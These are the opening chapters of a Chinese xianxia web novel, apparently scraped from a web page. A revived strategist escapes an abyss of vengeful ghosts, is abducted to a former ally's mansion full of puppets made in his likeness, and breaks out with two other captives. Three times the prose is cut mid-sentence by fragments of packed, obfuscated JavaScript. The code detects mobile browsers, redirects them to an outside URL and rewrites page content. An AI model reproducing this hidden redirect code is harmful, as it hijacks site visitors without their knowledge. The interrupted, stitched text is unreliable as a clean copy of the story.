《我死后他们全员疯批》 1. 深渊 “轰——” 雷声倏然炸响在耳边,惨白的光掠过暗无天日的深渊。 容识缓缓睁开了双眼,看见尚未消逝的电光。 “他醒了他醒了!”一个舌头拉了半尺长的怨魂口齿不清地高喊:“他真的醒了!” 阴风四起,森寒的凉意刮过容识的眉心,更多怨魂挤进他目光中。 七窍流血的怨魂面目扭曲:“当年咱们把他的神魂啃得干干净净,这怎么还能活过来?到底是他神魂太硬还是我们死太久没劲儿啃了,千重渊的招牌可不能砸在我们这一辈死鬼手里啊!” 秃顶怨魂抓耳挠腮:“真是奇了,他后面掉下来那只凤凰也是昏迷过去好多年,前些日子突然醒了,一根毛都没掉就飞走了。人家是神兽,神魂特别硬就算了,怎么他这纯人类头发也没掉一根?” 容识已经不知多少年没听到人说话,尖利的叫声吵得他耳朵和脑袋生疼,几乎要再死一回。 这是……千重渊? 被重重封印不许生人踏足、聚集着成千上万怨魂的修真界禁地。 他还活着? 当年仙盟暴虐,残害无数修士,修真界积怨已久,各地纷纷成立盟会,誓要替天行道剿灭仙盟,战火燎原,波及整个九州。 容识亦加入其中,后来各地盟会合而为一,称为清源盟。 最后一战中,他得知敌人在千重渊设立大阵,大阵启则封印解,千万怨魂重见天日,届时生灵涂炭,天下大乱。 他以身祭阵,与敌人同归于尽,坠落千重渊,神魂被这些怨魂一口一口生生吞噬,痛不欲生整整七天,最终死去。 他怎么又活了? 容识动了动手指,体内灵力稀薄,几乎要感觉不到了。他天生体弱,还是最末等的五灵根,之前勉强维持在筑基后期,现下怕是连筑基初期都没有了。 至于神魂…… 竟然完好无损?别说被一众怨魂啃咬的痕迹了,连半分的残缺都不见。 “喂,说话啊?难不成傻了?” 没死成,容识颇为遗憾,闻言登时道:“好啊。” 多年没说话,嗓子痛得像在生吞锋锐的刀刃。 “得,真傻了,开饭!让我再啃一次,就不信这次啃不干净!” “滚滚滚!这么多年还没有掉下千重渊都死不了的人,别把爷的乐子整没了。” 这些怨魂极易失控,现下瞧着友好,说不准下一刻就会扑上来把他重新啃得魂飞魄散,只因有封印才不至于神智全无。 躺了许久,容识有了点力气,便坐起身来,这一番轻微的动作让他头脑眩晕,闭眼缓了一会儿,才感觉到手背有轻微的痒意。 他低头,在灰暗的渊底看见一抹如血的红。 那是一根纤长的羽毛,通体赤红,落在他苍白的手背上,似乎还带着一点温暖的热度。 那些怨魂是不是说,有一只凤凰在他之后掉了下来? 秃顶怨魂看到那根羽毛,如释重负:“还以为那凤凰真不掉毛呢,我就说怎么可能。” “他下来得那么急,说不准就是来救你的呢,但英雄救美没救成,摔下来那地儿离你十万八千里。而且醒时一愣一愣的,话都不会说了,感觉是摔傻了。可惜啊可惜。” 容识拾起那根羽毛,喃喃道:“救我。” 他想起年幼时曾救过一只被折磨到遍体鳞伤的凤凰,但凤凰一直昏迷着,应该记不清他的样子。 掉下来的凤凰,是他曾救过的那只么? 可放走凤凰后,他们再没见过一面,那凤凰怎么可能来救他? 他思索着把羽毛珍而重之地塞进了衣领内。 渊底寸草不生,只有嶙峋的怪石,容识看着上方满目黑暗中那一线的光亮,那是千重渊的出口。渊底距离地面不知有多遥远,一丝日光都照不下来。 “不能给你们啃了,实在抱歉。”周边安静下来,只剩如泣如诉的风声呜咽,他说:“我要出去。” 既然老天要他活,那就活吧。 “我们千重渊难道是什么很低级的地方么,那么大个封印在上面,怎么一个个说来就来说走就走?” “出去?这么着急去见那几个老情人?” “咳咳!”容识猝不及防咳嗽几下。怨魂啃噬神魂的时候会看到一些记忆,知道他的事很正常,但是……什么叫老情人? 他想起一些旧人旧事,与那几人信念相投、彻夜畅谈,少年人总是意气风发,他以为自己终于找到真正的同路人。 他相信他们可以推翻旧仙盟,还九州一个太平。他们商量等战事结束,要召开仙盟大典,找数十只凤凰游遍修真界,把这个好消息带给九州。 最后他们也真的做到了。 记得死前,好像有数十只展翅高飞、艳丽火红的凤凰飞过千重渊上空,大概是在祝贺庆典。 他已在弥留之际,很想伸手触碰凤凰华丽的尾羽,却只能感受到刺骨的疼痛,手心握住的只是空寂的冷风。 不知道摔下千重渊的凤凰,是不是那些凤凰的其中之一。 明白了老情人指的是什么,容识轻笑道:“是啊,急着出去让那几个修真界的大人物为我打得头破血流,为我闹得天下皆知,为我毁灭天人妖三界。” “……怎么感觉你心里想的和嘴里说的不是一回事呢,好像在阴阳怪气。” “你和那几个人相互扶持起于微末又相爱相杀分道扬镳,多刺激啊,我们虽死了千百年了,却也不是什么老顽固,不会因此瞧不起你的。” 容识没有接话,长长地吸了一口气。那些怨魂觉得有趣,缠着问东问西。 他无可奈何道:“只是年少轻狂,错信过几个人罢了。” “能不能把你们的故事写成话本,爱看。” “爱爱爱爱什么爱?你那么爱,你去和那几个死鬼纠缠去吧,一个让他背黑锅,一个杀他好友一个自私自利,这也能爱起来,还刺激,你们有没有点人性?” “……” 容识怔了怔,噗嗤一笑,看着为自己鸣不平的怨魂,“你们是怨魂,没有人性很正常。实不相瞒,重活一世,我出去就是为了夺回自己失去的一切。” 那怨魂憋了一肚子火气,“你嘴里好像没一句真话,这句最好是真的。你脾气也忒好,换了我是你,不叫他们身败名裂魂飞魄散,都算我心慈手软。” “如果我能出去,可以试试。”闲话一会儿,容识身体好受了些,“那为了我的复仇计划,能否劳驾各位,送我去上面的封印处。” 自己上去太耗费灵力了,不如拜托这些怨魂。 “行啊,那几个人渣听得我生气,你必须出去,把他们几个都扔下来陪我们!” “对对对,天天跟这群死鬼在一起,烦都烦死了,给我们扔点好玩的下来。” 怨魂们说干就干,聚在容识周身把他托起来,向上方封印而去。天光越来越盛,顷刻间距离封印不足三丈。 “再靠近我们就灰飞烟灭了,只能到这里了,话说你打算怎么出去?” 容识闭眼放出神识,封印像一座巍峨的山,把千重渊死死罩住,无法翻越,只是…… 上面为何有熟悉的剑气? 封印似乎不是很稳定,有个地方非常薄弱,甚至……还有一丝缝隙? 这是怎么回事? 出去要紧,容识抬手,脑中设计好的阵纹被灵力一寸寸刻出,附着在那极其微小的缝隙上。 灵脉传来不堪重负的刺痛,他皱了下眉,手绷得越来越紧,青筋在手背上一跳一跳地动。 他的灵力……真是少得可怜了。 传送阵落成的一刹那,猛烈的咳嗽将他淹没,他一下子卸了力气,由怨魂们托着,柔和的白色光晕将他笼罩。 “这就成功了?我还怪舍不得你的……我很久都没有跟活人说过话了。” “多谢你们了。”容识灵力太低,超度不了这些怨魂,趁着阵法启动前低声念起咒文,“太上敕令,超汝孤魂……” “你在念什么?” “没听过不知道,是启动阵法的咒文吧?” 没有人超度过这些怨魂,他们不知道超度的咒文,也很正常。 “……敕救等众,急急超生。”念完了最后一句,容识身体忽然消失。 阴凉的风远去了,远处群山之间,皎月尚未落下,新一轮的红日已将近处的天空染出层层的血红。 ……外面的世界,真暖和啊。 容识躺在地上,累得一根手指也不想动,刻阵耗光了他仅有的力气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373067|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而身侧猛然响起清脆的铜铃声! 他迅速翻身后退一丈,见方才躺着的地方,精巧铜铃悬在空中脆响不断。 是警示铜铃,若有人靠近千重渊便会震响,一炷香内必有仙盟修士前来查看! 这里的警戒肯定是被新仙盟接管了,而和他有恩怨的那几人,必定在新仙盟中位列要职。 他不想一出来就碰见他们。 容识又刻下一阵,阵法的灵光闪烁之后,抽离感涌上全身,他闭上了眼睛。 不久,负责查看的的修士匆匆赶来,不见一个活人的踪影,又即刻回去复命了。 容识再睁眼时滚落在地面,忍不住地咳嗽,全身被咳嗽的劲儿震得更疼,口中吐出大滩的血块,五脏六腑碎了似的,疼得险些晕过去。 久到他觉得已经把所有内脏都吐出来了,咳嗽才慢慢止住,能闭眼休息片刻。 耳边有微风吹过,流水声潺潺,山林间的绿叶哗哗作响。不远处有小摊贩带着乡音的叫卖声,好像是个村镇。 没有千重渊陈年不见阳光的腐臭味,淡淡的青草香令人安心,摊子上卖的各种小食水果的味道混在一起,是浓浓的烟火气。 闻着……有点饿了。 直到现在,容识才有种自己真的活过来了的实感。 只是千重渊中无岁月,他不知道已过去多少年,新仙盟是什么样子,修真界又是何种情形。 许久,他撑起身体,望向身侧的溪水。 粼粼水光中,他看到自己如今的样子。侧脸微微凹陷下去,脸色如纸、唇无血色,长发披散,瞧着像个饿死鬼。身上黑红相间的衣袍早就褪色,发灰发白、破破烂烂,上面代表着清源盟的麒麟纹已经淡得看不出来,宝石也失去光泽。 这是清源盟当年的统一服制,也不知之后他们有没有改换服制。无论有没有换,这衣服都容易引人注目。虽说旧成这样,不太能认得出来,但万事就怕万一。 他得换身衣服,打听一下如今修真界局势,免得再遇上那几人。 还有……容识将手贴在胸口,不知道是不是错觉,那根羽毛微微发热。 他想找到那只凤凰。 若真是为救他而来,怎能不当面道谢。 细细想来,封印的那道缝隙上,似有和那根羽毛同样的温热气息,大约是凤凰冲出千重渊时留下的。 他能这么轻易地出来,还要多谢那凤凰。 不过那道熟悉的剑气……容识想起一个人,修真界千年来天赋第一,拼尽全力出剑,把那样坚固的封印劈得波动不稳,应该的确能够做到吧。 人死才知补救,有何意义。 容识洗了根树枝把长发束起一半,又将衣服上的宝石取下来塞进袖口暗袋。宝石失去光彩不代表已经不值钱,他一身宝石走在路上,和小儿抱金行于闹市没什么区别。 接着他从地上抹了两把土在脸上和衣服上揉开,看着更像个三天没吃过饱饭的乞丐了。 他满意地起身,慢吞吞进了镇子。集市人头攒动,他贴着墙角挪着走,一个小伙子的声音忽的传入耳中。 “我做外门弟子这半年,听到不少修真界八卦,那可是一条比一条隐秘,待会儿我讲的时候可千万别喝水,小心呛死!” 容识停住了脚,看见路边木桌上坐着一个小伙子,被四五位年轻人围着,在众人的吹捧催促中笑得开怀得意。 这么容易便遇到熟悉当下修真界八卦的人了? 他环顾四周,前方有一家包子摊,刚蒸好的包子冒着热气,肉香扑了人满脸,摊后是一条小巷,幽僻无人,很适合听人讲故事。 容识吸着肉香,抿了抿干裂的唇,趁着热气阻隔了摊主视线,摸走了一只滚烫的包子,留下一块个头很大的玉石。 “嘶……” 容识到小巷里才嘶出声,把包子在两手间倒腾了几十次,终于不难么烫了。 刚靠墙坐下,那边的小伙子便开始说话了。 “北地萧氏听说过吧?修真界三大世家之一,如今萧氏是二公子当家,他在当年也是传奇一般的人物。那年萧氏参战,伤亡惨重,眼看就要掉出大世家之列了,没想到二公子力挽狂澜,屡立战功,这才保住了萧氏的地位。可就是这种天才,也竟有求而不得的事儿!” 2. 傀儡 萧氏二公子,萧随。 熟悉的姓名在容识心池中投下石子,惊起一片波澜。 “他以前是个远近闻名的大善人,战时做了很多帮咱穷苦老百姓的事儿,没成想四十九年前新仙盟成立后,他忽然性情大变,越发阴晴不定,近些年还在自己山庄里养了一堆傀儡!” 小伙子停住喝了口水,几个年轻人等不及地追问。 怎么一听便是这种惊天秘闻。 容识饿得厉害,听故事也不忘吃东西,几口就把包子吃完了。 当年萧随温润有礼、怜贫惜弱,经常为穷苦的凡人百姓放粮放粥,多次阻止旧仙盟滥杀无辜草菅人命,的确是个名声在外的大善人、活菩萨。 谁又知道他平民百姓杀过,无辜修士也杀过,为了自己的权柄党同伐异,为了萧氏的地位,昔日战友也杀得。 还以为萧随那般在意脸面的人,会装一辈子的大善人。 容识回味着久违的食物味道,抓住了话里的重点。 四十九年……他死后不过四十九年,萧随就原形毕露了。人人都道萧随怎的变成这样,可他本来就是这样。 “据说那傀儡都长得一个样,会走会动,他呀整日就和几十几百个傀儡同进同出,想想都怪吓人的!他们都说,那傀儡是照着他心爱之人的模样做的,只是他心上人在战时就死了,他接受不了,这才越发疯癫了……” 心爱之人? 容识想起萧随对他说过的一大串所谓情话,那时山盟海誓情深不渝,转头便定下了与叶氏三小姐的婚事。 不过也不难理解,萧随最看重家族利益,容识一介军师,和他这个修真界四大世家之一的萧氏公子,身份地位本就不匹配,成婚对萧氏没有助力;可不把容识抓在手里,等于把一柄神兵利刃拱手让人,对自己不利。 最好的办法就是,一切尘埃落定后把容识软禁起来,困在自己庄内,正是两全其美。 萧随不仅这么想,也真打算这么做。 这样的人,会因为他死了便疯成这样? “你们有没有听说,各地最近经常有俊俏男人失踪?据说啊是想巴结萧氏的人抓的!他们按那些傀儡的样貌抓人献给二公子,就是想慰藉一下他的思念之情,好从他手上捞点好处!” “而且我记得最后一个俊俏男人的失踪地点,就在我们镇子附近,你们家里要是有哪个亲戚长得好看,可千万记得让他们先别出门了!” 容识听得略微出神,突然脊背一紧。 多年处在危机四伏的环境中,他敏锐地觉出不对。 有人在暗中看着他? 他如今蓬头垢面,衣衫褴褛,寻常人看见不避着点走就不错了,怎会有人关注他? 能让他感到危险的,绝不是普通人。 容识捂唇咳嗽几声,拢了拢衣服,卖力地演着病弱乞丐该有的模样。他放出神识,看见身后小巷拐角处、阴暗角落里,藏着两个蒙面人。 一人的眼睛黏在了他的脸上,啧啧道:“真像,脸上身上那么脏,还是能看出来像,这回上头的人肯定满意!” 另一人上下打量了他好几眼,满脸的疑惑:“那乞丐脸上全是土,到底长什么样都看不清,你怎么就看出来像了?” “你瞎呀,你看那乞丐的眼睛,又像凤眼又像狐狸眼的那股劲儿,还有眼睛的颜色,日光下透着一点紫,光这两点还不够像?这么漂亮的脸,居然沦落成乞丐。要是能被那位看中留在身边,这辈子都不用愁了,可惜灵根太差,做不了炉鼎……” 容识捂唇把更剧烈的咳嗽闷在嗓子里。 ……本以为那小伙子说的话真假掺半不能全信,谁知萧随的人还真的杀到家门口了。 那两人大约觉得他修为低身体弱,没什么难对付的,竟在后面闲聊起来。 “仔细一看还真是,眼睛特别像二公子做的那些傀儡!就是下半张脸太脏了,看不清长啥样……” “你就放一百个心吧,我眼光绝对不差!哼,昨天二队那些人只不过抓了一只凤凰,那阵仗跟复活了二公子心上人似的,都敢给我脸色看了,我呸!这个场子我一定要找回来!” 凤凰? 会是他要找的凤凰么? 容识垂眸思索片刻,慢吞吞起身向小巷更深处走去。 刚转过拐角,一股异香扑面而来,容识被浓烈的迷魂香呛得咳嗽几声,他脚下一软,登时摔倒在地。 他的手在地上抓了几下,留下一串手印,逐渐不动了。 蒙面人出现在他身侧,拿湿帕子擦干净了他的脸,嘻嘻地笑,“没灵力的凡人就是好对付!” 随后是另外一人的一声惊叹:“这么像?!本尊来了都得寻思一下哪里跑出来个同胞弟弟吧?真是个美人啊,他要是哪家门派弟子的话,说不准也能在美人榜上留名……我都想把他收了。” “收什么收?!美人重要还是钱重要,咱们还得靠他赚赏金呢!走了,领赏金去!” 身体突然悬空,有人把他扛起来装进了袋子里。 容识消耗灵力太过,途中没有放出神识看路,只算着时间,不到两个时辰便被扔在了一个空旷的室内,门扉吱呀合上,一刻钟都没人再进来。 不知道这里是不是萧随的山庄,是的话可就麻烦了。 容识呼出一口浊气,抬起无力的手按揉太阳穴,透支灵力带来的胀痛还未消散,眼前一片模糊。 等看清眼前的东西时,他猛地起身,撞在身后墙壁上,背后冷汗直冒,心脏几乎要跳出胸腔。 那是一张和他有七分相似的脸,瞳孔没有焦距,直直看向前方,透出一片沉寂的死气。 原来是傀儡。 也太像真人了。 容识深呼吸几次,心跳渐缓,快速扫视周围。 此处是一间库房,占地很大,没有窗户,光线很暗。这里摆满了一模一样的傀儡,皮肤的质感栩栩如生,和真人相差无几,视线都直勾勾盯着前方,粗略一数不下百具,数目之多叫人脊背发寒。 只有库房正中央那个傀儡,与其他作品都不像。 好熟悉。 容识皱眉走向库房中央,站在傀儡身前。 这傀儡和他一般高,样貌与他和萧随都有五分相似,简直像是他和萧随生出来的孩子一般,看着虽然旧,也没有其他傀儡那么像真人,保养却极好,没有一丝一毫的破损,只是里面的控制机关已经失效,它动不起来了。 这是当年他和萧随一起亲手做的那个傀儡! 他在清源盟中常年戴着凤凰面具,到死都没有人知道他的真实样貌,这便是这些傀儡长得和他不是完全一样的原因。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373068|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>做这个傀儡时,萧随说想把脸做成他的样子,他没有答应,却赋予了它和自己五分相似的容貌。 那时他们还是志同道合的挚友,萧随教他骑马、做傀儡,带他去看北地肆虐的风雪和罕无人迹的大漠,两人还一起给因修真界战乱流离失所的百姓施粥看病。 那时萧随和世间所有温润贴心的兄长一样,远没有后来那么偏执。 容识闭上了眼。 这里肯定是萧随的随山山庄。 这尊傀儡意义重大,萧随是不会把它放在别处的。 看着满库房的傀儡就知道,萧随比那小伙子说的还要疯。 那他让下属抓凤凰来,恐怕不止是要观赏这么简单,凤凰身上的一切皆是上好的药材,落在萧随手里,生不如死都是轻的。 得尽快逃出去,找到那只凤凰。 容识走到大门后,坐在角落阴影里,强行放出神识探向门外。 门外四名守卫,院门外八名,更远…… 刺痛针扎一般席卷识海,容识收回神识,额上冷汗滴落在尘埃里,他扶着额头,心道不妙。 体内快感觉不到灵力的存在了,至少得修养个一两天才有力气探查、刻阵,可时间不等人。 容识靠在墙上,又观察了一遍库房,将每处阵法尽收眼底。 他一眼就看穿阵法的破绽和漏洞,解阵要不了一刻钟。 这些东西困不住他,他心下却更沉几分。 这些阵法于他而言不算高明,却是十二分的熟悉,都是在他曾经研究出的阵法上做了细微的改动。 然而换了旁人,解到天荒地老都不一定能完全破解。 萧随……在钓鱼。 萧随很了解他在阵法上的造诣,知道他被抓来后一定会想方设法破阵逃出。 这样做,可以从抓来的人中精准地筛选出他本人。 容识揉着太阳穴,这些阵法更像是一个两难的陷阱。 破阵,萧随就会知晓他死而复生;不破,被带去见了萧随,还是会被认出。 可萧随是怎么断定他还活着的? 容识叹了口气,不管如何,先走为上,出了库房再去找凤凰。 他掌心贴在地面,忍痛催动灵力深入地面,触及隐约显现的阵纹,喉咙阵阵发痒,那是他想吐血的先兆。 容识紧抿着唇,压下全身的剧痛。 极端的寂静中,忽然传来一道人声:“你们是什么人?这里是什么地方?为什么要抓我?” 声音像是个十七八岁的少年,是从隔壁院子里传来的。 还有人被抓了? “你们说话啊!我犯了什么罪要抓我?我在山上玩,看见老婆婆踩空掉下去,我去救她,把她送回了家,这也犯法么?” 少年停了片刻,似乎是在想下一句话说什么。 “还有,光天化日朗朗乾坤,君子当有浩然正气,行事光明磊落,你们怎么可以暗箭伤人?天理在哪里,王法在哪里,你们的面皮在哪里!” 容识闻言一笑,少年口中满是惩恶劝善之语,越说越委屈,竟是没有一句怨恨不甘和咒骂,像是个涉世未深的富家小少爷。 “说话啊你们,难道跟我说话也犯法么?” 周遭死一般的寂静。 “好好好,这是你们逼我的!” 3. 出逃 “轰——砰——” 那是库房沉重的巨门飞出去落在地面的声音,容识听到十个人整齐的脚步声,应是守卫把那少年团团围住了,拳脚与刀剑碰撞之声此起彼伏。 这是个绝佳的趁乱逃跑的机会,他立即放出神识查看隔壁院落的情形。 那少年赤手空拳,动作没有太多章法,但架不住他力气巨大,随手一挥就把身前守卫拍到两间院子中间那堵墙上。 那守卫直接砸穿了墙面,身体从洞里飞出来,砸到最远的那堵墙上,又砸出一个深坑,身体才停下,软软地摔在地面不动了。 虽不至于被打死,但肯定要休养个三年五载了。 看管容识的守卫一直纹丝不动,这是萧随定下的规矩,一个院内的守卫,最重要的是自己院内的任务,其他人主动求助时才需要去支援。 这一下的动静让隔壁的守卫再也没办法独自支撑,高喊道:“他不止金丹后期,快来帮忙!” 院内瞬间只剩两名守卫,其余十人瞬间赶去了隔壁院。 好机会! 容识在门口刻下简单的困阵,撕下衣角一片布料系在脸上挡住双眼以下的部分, 走向库房中央,站在傀儡身侧,蹲下身手掌触地,下一刻他的灵力包裹住所有阵法,精密的计算中,阵法被逐个拆解重建。 他止不住的咳嗽,阵法重建完成后,才猛然吐出一大口鲜血。 容识木然地擦掉唇角血迹,起身后摇摇晃晃地靠在了傀儡身上。 他咬紧了牙,并指在眼前,指尖微弱的灵力渗入身前的地面。 一阵剧烈的强风从他脚下四散开来,周边傀儡被吹得东倒西歪,强风直冲大门而去,大门猛烈颤抖起来,发出不堪重负的嘎嘣声,随即与门框彻底断开,轰隆一声落在院门前。 两个守卫见状满脸肃杀,持刀进入库房,困阵阵纹霎时亮起,两人的脚凝滞在门槛附近的地面,不得寸进。 其中一人当即用灵力击中库房天顶的阵眼,浑身灵力疯狂涌动,灌入脚下困阵,想用灵力把困阵撑炸开,另一人同时甩出数十只小巧的三角镖直冲容识面门。 阵眼被击中后,房内遍布的阵法纹路全都亮了起来,强风、炽火、雷电一起出现,只不过攻击的是两个守卫而不是容识。 数十只三角镖在容识身前一尺时,全部停滞悬在空中,随后丁零当啷掉了满地。 这时简单的困阵已被涌入的大量灵力炸开,一个守卫一刀从雷电风火中辟出一条路,另一人从缝隙里飞跃而出,眨眼间已杀到容识眼前。 与此同时,他的神识看到隔壁院的少年举起了地上的巨门,向着围攻的守卫大力横扫过去。 “哐哐哐——”,守卫们被巨门砸中,前前后后地飞了出去,撞在四面八方的墙面上,一时间少年身前再无一人阻拦。 少年喘了口气,举着铁门飞跃过中间的院墙,向容识所在的库房跑来。 电光火石间,少年叫道:“蹲下!” 容识立即放倒了傀儡,蹲下身来。 少年将抬着的巨门全力一掷,一个巨大的黑影追上了空中的守卫,“哐”地一声,人和门一同撞破了库房最深处的墙,飞了出去,重重地落在了地面。 剩下那名守卫还在和阵法缠斗,少年飞速跳进库房,见守卫挡在他和容识中间,大步走到守卫身后,一拳下去,守卫倒地不动了。 “小心……” 少年正好走到了阵法攻击范围内,容识出声提醒,话未说完,就见少年又是一拳下去,灵力所过之处,阵法全都被充沛的灵力撑炸,阵纹消失无踪。 ……力气这么大的么? 这一拳带起的风让整个库房尘土飞扬,容识微微眯眼,抬起衣袖遮挡。 此时,少年如入无人之境地跳到了他面前。 容识抬起的手腕被一只温热的手牢牢抓住,衣袖翻飞落下,近在咫尺的是一张意气风发的脸。 少年的脸如同对比鲜明的水墨画,轮廓明晰锐利,长眉凤目颜色极深,本是寒峰积雪只可远观的冷淡。 但他一笑,冰消雪融,春到桃枝,黑眸清澈明净,天光云影尽入眼底。 身后透出的日光将他的发丝晕染出金色的光泽,他耳挂上的流苏垂落到自己的下颌,带出些微的痒意。 少年笑道:“我早就感觉到你在这里了!我叫灼夜,跟你一样也是被抓来的,不怕了,我带你走!” 容识被拽起身来,灼夜雷厉风行,当即就要带他逃出库房。 “等等!”他指了下地上躺着的傀儡,“带着它走。” “哦,好!”灼夜问都没问,一把将傀儡扛在肩上,拉着容识飞快地逃出了库房院门。 “终于出来了!”灼夜松了一口气,奔跑的步伐却慢了下来,纠结道:“可是往哪儿跑啊?” 容识顺着他的目光,看到不远处几个岔路口。 随山山庄里有禁飞阵法,限制一切飞行手段和空间系法术,因此不能飞上去看路,也不能瞬移或刻传送阵。 但好在他当年来过一次。不知道后来萧随有没有改变山庄的布局,事到如今只能赌一把了。 容识狂跳的心脏发出阵阵绞痛,咬紧了牙,抽出手臂反手拽住灼夜,“跟我来!” 话音落下,细密的铜铃摇晃声响彻整个山庄。 灼夜抬头却没看到一个铜铃,不解问:“这是怎么了?” 容识拽着灼夜一连拐了三次岔路,离最外面的院墙只有一墙之隔,“一种警示铃声,这样的频率代表……” “不是,我就是来给二公子看病的,看完了我想走都不行么?你们这是医闹啊!” 一个圆脸少年向他们这边狂奔而来,像是身后有人追赶,他腰侧挂着药篓,大约是名医师,看着年纪不大。 三人都看见了彼此,齐齐停了下来。 医修身后的岔路口,突然出现了一排元婴初期的守卫,把前路堵死了。 容识环视四周,看见两侧墙头站满了傀儡,和库房内和他有七分像的那些作品一模一样。 身后刚过来的那个路口,也有一排元婴初期守卫。 堵得严严实实,怕是连一只蚊子都飞不出去。 “代表什么?”灼夜似乎没料到外面还有这么多人,呆呆地问出了口。 容识沉声道:“有人出逃,全力追捕,生死不论。” 医修闻言“啊”了一声,大概是猜出这是对铜铃声的解释,上下打量了两人,一脸心如死灰,“筑基初期和金丹……” 他小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373069|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘀咕:“两个金丹一个筑基,越级打一群元婴,这怎么打得过?我命休矣……” 接着转身看向那些守卫,强装镇定道:“我是药王山弟子云明,是萧氏长老骗我为你们二公子看病,我才来的!我跟你们萧氏无冤无仇,不用如此咄咄相逼吧!” 容识不由得多看了医修一眼,药王山弟子? 他低声问:“你有荧惑么?” 那是药王山特制迷心散,效力极强。 云明回头,一脸讶异,随即点点头,“有有有,可是……” “给我。”容识打断了他。 灼夜迟疑地问:“你有办法?” 云明犹豫片刻,闭着眼把一个瓷瓶掏了出来,“我有是有,可是……药粉只剩指甲盖大小那么一点了,对付不了这么多元婴期啊!” “足够了。”容识从他手上拿来瓷瓶,蹲下身去,一边在地上刻阵,一边对灼夜说:“药粉对傀儡无用,你去对付它们。” “你真的有办法么……”云明苦着脸,还没说完就尖叫起来:“啊啊啊他们来了!” 容识手下阵法已成,阵中传来的微风拂过他的侧脸。 他打开瓷瓶,将仅剩的荧惑药粉的一半倾倒而下,细碎的粉末融入微风中,一瞬便看不到任何颗粒。 风从三人站着的地方向前向后吹拂过去,前后的守卫动作都有明显的迟滞。 “真的有用?”云明不可置信,只要能让守卫们头脑晕一会儿,对他们也是有利的! “砰——” 灼夜放下了一直扛着的傀儡,一拳把墙头冲下来的傀儡打碎一个,材料碎片在空中飞扬,刮伤了许多守卫的身体。 容识的手不受控制地微微颤抖,他擦了擦额头的冷汗,对云明道:“拖住他们,我要刻阵。” “你还好么?”云明盯着他露出来的半张脸问了一句,从储物袋里掏出一只药瓶塞到他怀里。 容识看云明的反应,就知道如今自己的脸色有多难看,“多谢。” 他把咳嗽压在喉咙里,从枯竭的灵脉中把灵力挤出来时,每一寸皮肤都遭受着千万钢针深入骨髓的疼痛。 灵力深入地下,阵纹从掌心缓缓亮起,逐渐向四周扩散。 耳边不断地炸开傀儡粉身碎骨的声音,四散的傀儡材料漫天花雨一般落下。 容识岿然不动,左手紧紧攥住了右手手腕,以免支撑不住。 现在这形势,怕是还没找到凤凰,他便要死在这儿了。 还是……先逃出去再说! 巨大的阵法在他掌下缓慢建起,只差一步成型。 “小心!” 容识眼前一花,整个人被抱着摔出去好几圈,身后轰然巨响,是他刚才所坐的地面被炸开。 已是强弩之末的肺腑受到震动,他喉咙一痒,一口鲜血吐在了抱着他的灼夜身上。 “你你你怎么了?怎么吐血了?!” 容识咳嗽得停不下来,还没可惜好不容易快刻好的大阵,便听到一个无比熟悉的冰冷声音从远方传来。 “除去遮脸那人,格杀勿论。” 他穿过灼夜的肩膀逆光看去,见到一张风流靡丽的脸,只是那十足的艳绝被满目的冰霜驱散,只剩下阴鸷。 萧随! 4. 疯子 一丈宽的岔路地面上堆满了傀儡破碎的残肢断臂,一颗栩栩如生的头颅躺在萧随不远处。 燥热的夏季,迎面而来的风不见半分潮闷,反而有刺骨的凛冽冷意。 萧随带来的守卫和傀儡像是数十座无声的山,极有压迫感地逼近。 灼夜把容识扶着坐起身:“你受伤了,先别动了。” 他和云明站在容识两侧,分别面对两个方向的守卫,一人握紧了拳,一人握紧了手中七八个小巧的瓷瓶。 云明紧张得腿都在打哆嗦,他不死心地朝萧随喊道:“二公子,我师尊是药王山山主,我是她的关门弟子,你杀了我我师尊不会放过你的!萧氏就算家大业大,也总有人生病受伤吧?” 萧随充耳不闻,他看到脚边的头颅,满脸的阴鸷忽然转成深深的哀痛,径直走向那颗头颅,把它抱起来捧在手掌,在傀儡已经破损的脸上轻轻抚摸。 他好像把那颗头颅当成了真人,不像在看傀儡,像是久别重逢地触碰自己此生所爱。 一地的傀儡残片中,他抱着仅剩的完整头颅,那张秾丽到有攻击性的脸上眼尾泛红,像雨中凋零的红芍,沉浸在失去挚爱的伤痛和怀念中,对世界上的一切都置若罔闻。 容识捂着胸口,深埋在体内许多年的冰冷寒气见缝插针,在肺腑中肆虐,他分不清自己是想吐还是想吐血。 他皱起眉,看见沉溺在另一个世界的萧随,留在他身后的守卫脸色如常,似乎早已见怪不怪。 耳闻不如亲见,直到看见形似疯魔的萧随,巨大的荒谬感才姗姗来迟,席卷了容识。 他们难道活在一个狗血话本里么? 